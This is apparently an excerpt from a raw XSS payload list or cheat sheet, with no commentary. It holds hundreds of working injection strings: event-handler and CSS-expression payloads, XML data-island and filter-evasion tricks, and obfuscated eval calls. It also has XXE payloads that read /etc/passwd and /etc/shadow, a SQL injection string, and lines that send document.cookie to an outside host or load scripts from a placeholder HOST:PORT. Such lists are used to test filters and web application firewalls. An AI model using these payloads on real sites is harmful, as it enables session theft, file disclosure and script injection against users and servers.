<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(119)>press any key! 
<x contenteditable onkeyup=alert(1)>press any key! 
<x contenteditable onkeyup=alert(1)>press any key!
<x contenteditable onpaste=alert(125)>paste here!
<x contenteditable onpaste=alert(1)>paste here!
<x contextmenu=”>”><a/value=”aaaaaaaaa”/onmousemove=%0Dprompt(196)%0A>#x
<x data-bind=”.:confirm(1)”>
<x data-bind=”.:&#x5cu0061lert(1)”>
x=’ev’+’al’
x=eval
??x:expr/**/ession(alert(1))??
x:expr/**/ession(alert(1))
x.fillText(“ASCII”,C=0,40)
x.fillText(“Xo= “[C],t*54,Y*22)
x.fillText(“Xw=^ “[C],t*54,Y*22)
x.font=”3em’”
x.font=”3em A”
<x ‘=”foo”><x foo=’><img src=x onerror=alert(1)//’>
<x ‘=”foo”><x foo=’><img src=x onerror=javascript:alert(1)//’>
xlink:href=”javascript:alert(49)”>CLICKME</maction> </math>
x=(lol=alert(1),x=class x extends x{constructor(){alert(1)}}()()()()())
x=(lol=alert(1),x=class x extends x{constructor(){alert(1)}}()()()()())=>class x extends x{}()()();x()
<xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]>ession(confirm(3))%26gt;hello%26lt;/span%26gt;</to></note></xml><table border=%221%22 datasrc=%22%23cdcat%22><tr><td><span datafld=%22to%22 DATAFORMATAS=html></span></td></tr></table>
<XML ID=I><X><C><![CDATA[<IMG id=1 SRC=”javas]]<![CDATA[cript:alert(‘1’);”>]]</C><X></xml>
<xml ID=I><X><C><![CDATA[<IMG SRC=”javas]]><![CDATA[cript:alert(‘1’);”>]]>
<;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=”;javas]]>;<;![CDATA[cript:alert(‘;1’;);”;>;]]>;
<XML ID=I><X><C><![CDATA[<IMG SRC=”javas]]><![CDATA[cript:alert(‘1’);”>]]>
<XML ID=I><X><C><![CDATA[<IMG SRC=”javas]]><![CDATA[cript:alert(1);”>]]>
<XML ID=I><X><C><![CDATA[<IMG SRC=”javas]]><![CDATA[cript:alert(‘1’);”>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID=I><X><C><![CDATA[<IMG SRC=”javas]]><![CDATA[cript:alert(‘1’);”>]]> </C></X></xml><SPAN DATASRC=#IDATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID=I><X><C><![CDATA[<IMG SRC=”javas]]><![CDATA[cript:alert(1);”>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID=I><X><C><![CDATA[<IMG SRC=”javas]]<![CDATA[cript:javascript:alert(1);”>]]</C><X></xml>
<XML ID=I><X><C><![<IMG SRC=”javas]]<![cript:document.vulnerable=true;”>]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
<xml id=”X”><a><b><script>alert(‘1’);</script>;<b></a></xml>
<xml id=”X”><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<XML ID=”1”><I><B><IMG id=1 SRC=”javas<!?—??cript:alert(‘1’)”></B></I></XML><SPAN DATAid=1 SRC=”#1” DATAFLD=”B” DATAFORMATAS=”HTML”></SPAN>
<XML ID=”1”><I><B><IMG SRC=”javas<!?—??cript:alert(1^
<;XML ID=”;1”;>;<;I>;<;B>;<;IMG SRC=”;javas<;!?—??;cript:alert(‘;1’;)”;>;<;/B>;<;/I>;<;/XML>;
<XML ID=”1”><I><B><IMG SRC=”javas<!?—??cript:alert(‘1’)”></B></I></XML><SPAN DATASRC=”#1” DATAFLD=”B” DATAFORMATAS=”HTML”></SPAN>
<XML ID=”1”><I><B><IMG SRC=”javas<!?—??cript:document.vulnerable=true”></B></I></XML><SPAN DATASRC=”#1” DATAFLD=”B” DATAFORMATAS=”HTML”></span>
<XML ID=”1”><I><B>&lt;IMG SRC=”javas<!?—?
<XML ID=”1”><I><B>&lt;IMG SRC=”javas<!?—??cript:alert(‘1’)”&gt;</B></I></XML>
<xml ID=”1”><I><B>&lt;IMG SRC=”javas<!?—??cript:alert(‘1’)”&gt;</B></I></xml><SPAN DATASRC=”#1” DATAFLD=”B” DATAFORMATAS=”HTML”></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<xml id=”1” src=”%(htc)s”></xml> <label dataformatas=”html” datasrc=”#1” datafld=”payload”></label>
<XML id=1 SRC=”http://xxxx.com/1test.xml" ID=I></XML>
<XML id=1 SRC=”1test.xml” ID=I></XML><SPAN DATAid=1 SRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML id=1><X><C><![CDATA[<IMG id=1 SRC=”javas]]><![CDATA[cript:alert(‘1’);”>]]></C></X><xml><SPAN DATAid=1 SRC=#I DATAFLD=CDATAFORMATAS=HTML></SPAN>
<xml:namespace prefix=t><import namespace=t implementation=…..
<?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”>
xmlns=”http://www.w3.org/2000/svg"><defs><font id=”x”><font-face font-family=”y”/></font></defs></svg>
xmlns:x=”http://w3.org/1999/xhtml “>alert(1&#00000041;
<xml onPropertyChange xml onPropertyChange=”javascript:javascript:alert(1)”></xml onPropertyChange>
<;XML SRC=”;http://ha.ckers.org/1test.xml"; ID=I>;<;/XML>;
<XML SRC=”http://ha.ckers.org/1test.xml" ID=I></XML>
<XML SRC=”http://ha.ckers.org/1test.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML src=”javascript:alert(‘X11SS’);”>
<XML SRC=”javascript:alert(‘1’);”>
<XML SRC=”javascript:alert(“1”)
<xml src=”javascript:document.vulnerable=true;”>
<XML SRC=”1test.xml” ID=I></XML>
<XML SRC=”1test.xml” ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML SRC=”1test.xml” ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<?xml-stylesheet href=”javascript:alert(1)”?><root/>
<?xml-stylesheet type=”text/css”?><!DOCTYPE x SYSTEM “test.dtd”><x>&x;</x>
<?xml-stylesheet type=”text/css”?><root style=”x:expression(write(1))”/>
<?xml-stylesheet type=”text/css”?><root style=”x:expression(write(1))”/> // Works in IE7 ? http://html5sec.org/#77
<?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file://c:/boot.ini”>]><foo>&xee;</foo>
<?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///dev/random”>]><foo>&xee;</foo>
<?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///etc/passwd”>]><foo>&xee;</foo>
<?xml version=”1.0" encoding=”ISO-8859–1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:///etc/shadow”>]><foo>&xee;</foo>
<?xml version=”1.0" encoding=”ISO-8859–1"?><foo><![CDATA[‘ or 1=1 or ‘’=’]]></foof>
<?xml version=”1.0" encoding=”ISO-8859–1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(‘gotcha’);<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<?xml version=”1.0" encoding=”ISO-8859–1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(‘1’);<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<?xml version=”1.0" encoding=”utf-8" ?><x:script
<?xml version=”1.0"?><html:html xmlns:html=’http://www.w3.org/1999/xhtml'>
<?xml version=”1.0"?><html:html xmlns:html=’http://www.w3.org/1999/xhtml'><html:script>alert(document.cookie);</html:script></html:html>
<?xml version=”1.0"?><html:html xmlns:html=’http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
<?xml version=”1.0"?><html><script xmlns=”http://www.w3.org/1999/xhtml">alert(1)</script></html>
<?xml version=”1.0"?><html><script xmlns=”http://www.w3.org/1999/xhtml">alert(8)</script></html>
<?xml version=”1.0"?><script xmlns=”http://www.w3.org/1999/xhtml">alert(9)</script>
<?xml version=”1.0" ?><someElement><a xmlns:a=’http://www.w3.org/1999/xhtml'><a:body onload=’alert(1)’/></a></someElement>
<?xml version=”1.0" ?><someElement> <a xmlns:a=’http://www.w3.org/1999/xhtml'><a:body onload=’alert(1)’/></a></someElement>
<?xml version=”1.0" standalone=”no”?><!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload=”alert(1)”
<?xml version=”1.0" standalone=”no”?><!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload=”alert(1)” xmlns=”http://www.w3.org/2000/svg"><defs><font id=”x”><font-face font-family=”y”/></font></defs></svg>
<?xml version=”1.0"?><x:script xmlns:x=”http://www.w3.org/1999/xhtml">alert(27&#x29;</x:script>
<xmp><img alt=”</xmp><img src=xx:x onerror=alert(1)//”>
<xmp><img alt=”</xmp><img src=xx:x onerror=confirm(1)//”>
<xmp><%</xmp><img alt=’%></xmp><img src=xx:x onerror=alert(1)//’>
x=new class extends Function{}(‘alert(1)’);
x=new class extends Function{}(‘alert(1)’);x=new x;
x=new x;
x=new XMLHttpRequest()
x = new XMLHttpRequest();
<x o%6Eerror=prompt(134) 
<x o%6Exxx=1 
<x o%6Exxx=1
<x on%78error=confirm(135) 
<x on%78xx=1 
<x on%78xx=1
<x onafterscriptexecute=alert(127)>
<x onbeforescriptexecute=alert(128)>
<x onclick=alert(109)>click this! 
<x onclick=alert(1)>click this! 
<x onclick=alert(1)>click this!
<x oncontextmenu=alert(111)>right click this! 
<x oncontextmenu=alert(1)>right click this! 
<x oncontextmenu=alert(1)>right click this!
<x oncopy=alert(110)>copy this! 
<x oncopy=alert(1)>copy this! 
<x oncopy=alert(1)>copy this!
<x oncut=alert(112)>copy this! 
<x oncut=alert(1)>copy this! 
<x oncut=alert(1)>copy this!
<x+oncut=y=prompt,y`1`>renwax23
<x oncut=y=prompt,y``>z
<x ondblclick=alert(113)>double click this! 
<x ondblclick=alert(1)>double click this! 
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(114)>drag this! 
<x ondrag=alert(1)>drag this! 
<x ondrag=alert(1)>drag this!
<x onerror%3Dprompt(136)
<x onload’=confirm(1)
<x onmousedown=alert(120)>click this!
<x onmousedown=alert(1)>click this! 
<x onmousedown=alert(1)>click this!
<x onmouseenter=alert(126)>hover me!
<x onmousemove=alert(121)>hover this! 
<x onmousemove=alert(1)>hover this! 
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(122)>hover this! 
<x onmouseout=alert(1)>hover this! 
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>
<x onmouseover=alert(1)>hover this! 
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(124)>click this! 
<x onmouseup=alert(1)>click this! 
<x onmouseup=alert(1)>click this!
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}”
<x onwebkitanimationend=alert(74)><style>X{animation:S}@keyframes S{}
<x </onxxx=1 
<x </onxxx=1
<x/onxxx=1 
<x/onxxx=1
<x OnXxx=1 
<x OnXxx=1
<X onxxx=1 
<X onxxx=1
<X OnXxx=1 
<X OnXxx=1
<X onxxx=137 
<x OnXxx=138
<X OnXxx=139
<x onxxx=140 onxxx=1400
<x/onxxx=141 
<x </onxxx=149 
<x onxxx=1 onxxx=1
<x onxxx%3D1
<x onxxx=alert(1) 1=’
<x onxxx=alert(152) 152=’
x.open(‘GET’,p+f,0)
x.open(POST, home.php, true);
?x=<script%20src=data:&x=alert(1);>
“><<x>script>confirm(2)<<x>/<x>script>
x’\”></script><img src=x onerror=alert(1)>
<x:script xmlns:x=”https://sql--injection.blogspot.co.uk">alert('1');</x:script>
<x:script xmlns:x=”http://www.w3.org/1999/xhtml">alert(1);</x:script>
<x:script xmlns:x=”http://www.w3.org/1999/xhtml">alert('1');</x:script>
x.send()
x.send(post=</textarea><br><a href= + document.URL + >Check this!</a>);
x.setRequestHeader(Content-type, application/x-www-form-urlencoded);
x setter=eval,x=1
;!?—?“<1>=&{()}”
// 1 //
‘;’;;!?—?“;<;1>;=&;{()}
‘’;!?—?“<1>=&{()}
1:&#101;x&#x2F;*1*//*/* ?/pression(alert(“1”))’>
1:&#101;x&#x2F;*1*//**pression(alert(“1”))’>
/?1=500); alert(document.cookie);//
1&#58;ex&#x2F;*1*//*/*/pression(alert(\”1\”))’&gt;
!#$%&’*+-/=?^@1.cx”>_`{}|~@1.cx
1:expression(alert(/1/)
1:expression(alert(/1-By-Muhaddi/)
{}*{1:expression(open(alert(1)))}
1:ex/*1*//*/*/pression(alert(“1”))’>
<! 1=”><img src=xx:x onerror=alert(1)//”>
<! 1=”><img src=xx:x onerror=confirm(1)//”>
[1](javascript:confirm(6))
<1><script>alert(‘W1’)</script></vulnerable>
1 ?<!?—?<script>1
<1 STYLE=”behavior: url(%(htc)s);”>
<;1 STYLE=”;behavior: url(http://ha.ckers.org/1.htc);";>;
<1 STYLE=”behavior: url(http://ha.ckers.org/1.htc);">
<1 STYLE=”behavior: url(1.htc);”>
<~/1 STYLE=1:expression(alert(‘1’))>
<~/1/*-*/STYLE=1:e/**/xpression(alert(‘1’))>
<;1 STYLE=”;1:expression(alert(‘;1’;))”;>;
</1 STYLE=1:expression(alert(‘1’))>
</1/*-*/STYLE=1:e/**/xpression(alert(‘1’))>
<1 STYLE=”1:expression(alert(‘1’))”>
<1 STYLE=1:e/**/xpression(alert(‘1’))>
<1/*-*/STYLE=1:e/**/xpression(alert(‘1’))>
1 STYLE=1:e/**/xpression(alert(‘1’))>
1/*-*/STYLE=1:e/**/xpression(alert(‘1’))>
<1 STYLE=”1:expression(document.vulnerable=true)”>
<1 STYLE=”1:expression(javascript:alert(1))”>
<1 STYLE=”1:expression_r(alert(‘1’))”>
<~/1/*-*/STYLE=1:e/**/xpression(window.location=”http://www.procheckup.com/?sid="%2bdocument.cookie)>
<1:1>1</1:1>
<1:1>1</1:1></HTML>”””,”XML namespace.”),(“””<XML ID=”1”><I><B>&lt;IMG SRC=”javas<!?—??cript:javascript:alert(1)”&gt;</B></I></XML><SPAN DATASRC=”#1” DATAFLD=”B” DATAFORMATAS=”HTML”></SPAN>
<x style=”background:url(‘x&#1;;color:red;/*’)”>XXX</x>
<x style=”background:url(‘x[a];color:red;/*’)”>XXX</x>
<x style=”background:url(‘x ;color:red;/*’)”>XXX</x>
<x style=”behavior:url(%(sct)s)”>
<x/style=-m\0o\0z\0-b\0i\0nd\0i\0n\0g\0:\0u\0r\0l\0(\0/\0/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\0.c\0o\0.\0u\0k\0/\0la\0b\0s\0/\0x\0b\0l\0/\0x\0b\0l\0.\0x\0m\0l\0#\0x\0s\0s\0)>
x=this[x]
x</title><img src%3dx onerror%3dalert(1)>
x??</title><img src%3dx onerror%3dalert(1)>
x=’\x61\x6c\x65\x72\x74\x28\x31\x29';new Function(x)()
x=x=>{}/alert(1)/+alert(2)
<x xmlns=”http://www.w3.org/2001/xml-events" event=”load” observer=”foo” handler=”data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar”/>
<x xmlns:xlink=”http://www.w3.org/1999/xlink" xlink:actuate=”onLoad” xlink:href=”javascript:alert(1)” xlink:type=”simple”/>
(X=_=>`(X=${X})()`)()
XXX<style>*[‘<!?—?‘]{}</style> ?{}*{color:red}</style>
x=x=>x=>x=>x=>x=>x=>x=>alert(1);x()()()()()()()()
x(x(y))
x(y)
{{x = {‘y’:’’.constructor.prototype}; x[‘y’].charAt=[].join;$eval(‘x=alert(1)’);}}
xyz onerror=alert(6); 
y=<a>alert</a>;content[y](1)
y=’nam’+$$
y=’na’+’me’
y=name
y=x(y)
‘“()=<z>
z=d.createElement(“script”);
z=d.createElement(“script”);z.src=”//HOST:PORT”;
ZeroClipboard.swf?id=\”))} catch(e) {alert(1);}//&width=1000&height=1000
z.src=”//HOST:PORT”;
&lt;A HREF=\"htt	p&#58;//6	6&#46;000146&#46;0x7&#46;147/\"&gt;1&lt;/A&gt;